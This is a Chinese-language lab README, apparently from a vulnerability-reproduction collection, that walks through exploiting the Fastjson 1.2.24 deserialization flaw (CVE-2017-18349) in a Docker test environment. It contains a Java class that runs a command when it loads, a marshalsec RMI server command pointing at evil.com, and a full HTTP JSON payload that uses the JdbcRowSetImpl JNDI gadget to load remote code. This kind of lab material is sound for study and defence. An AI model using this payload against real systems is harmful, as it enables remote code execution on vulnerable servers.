Aaron
63285f61aa
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82 lines
2.5 KiB
Markdown
82 lines
2.5 KiB
Markdown
# Fastjson 1.2.24 反序列化导致任意命令执行漏洞（CVE-2017-18349）
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Fastjson 是阿里巴巴开发的一款 JSON 解析器。在解析 JSON 的过程中，它支持使用 autoType 来实例化某一个具体的类，并调用该类的 set/get 方法来访问属性。通过查找代码中相关的方法，攻击者可以构造出恶意利用链。
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参考链接：
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- <https://www.freebuf.com/vuls/208339.html>
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- <http://xxlegend.com/2017/04/29/title-%20fastjson%20%E8%BF%9C%E7%A8%8B%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96poc%E7%9A%84%E6%9E%84%E9%80%A0%E5%92%8C%E5%88%86%E6%9E%90/>
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## 环境搭建
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执行如下命令启动测试服务器，其使用 Fastjson 1.2.24 作为默认 JSON 解析器：
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```
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docker compose up -d
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```
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环境启动后，访问 `http://your-ip:8090` 即可看到 JSON 格式的输出。
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我们可以通过向该地址发送 POST 请求来更新服务端的信息：
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```
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curl http://your-ip:8090/ -H "Content-Type: application/json" --data '{"name":"hello", "age":20}'
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```
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## 漏洞复现
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由于目标环境是 Java 8u102，没有 `com.sun.jndi.rmi.object.trustURLCodebase` 的限制，我们可以使用 `com.sun.rowset.JdbcRowSetImpl` 的利用链，通过 JNDI 注入来执行命令。
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首先编译并上传命令执行代码，如 `http://evil.com/TouchFile.class`：
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```java
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// javac TouchFile.java
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import java.lang.Runtime;
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import java.lang.Process;
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public class TouchFile {
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static {
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try {
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Runtime rt = Runtime.getRuntime();
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String[] commands = {"touch", "/tmp/success"};
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Process pc = rt.exec(commands);
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pc.waitFor();
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} catch (Exception e) {
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// do nothing
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}
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}
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}
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```
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然后使用 [marshalsec](https://github.com/mbechler/marshalsec) 项目启动一个 RMI 服务器，监听 9999 端口，并指定加载远程类 `TouchFile.class`：
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```shell
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java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://evil.com/#TouchFile" 9999
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```
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向目标服务器发送包含 RMI 地址的 Payload：
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```
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POST / HTTP/1.1
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Host: your-ip:8090
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Accept-Encoding: gzip, deflate
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Accept: */*
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Accept-Language: en
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User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
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Connection: close
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Content-Type: application/json
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Content-Length: 160
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{
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"b":{
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"@type":"com.sun.rowset.JdbcRowSetImpl",
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"dataSourceName":"rmi://evil.com:9999/TouchFile",
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"autoCommit":true
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}
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}
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```
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如下图所示，命令 `touch /tmp/success` 已成功执行：
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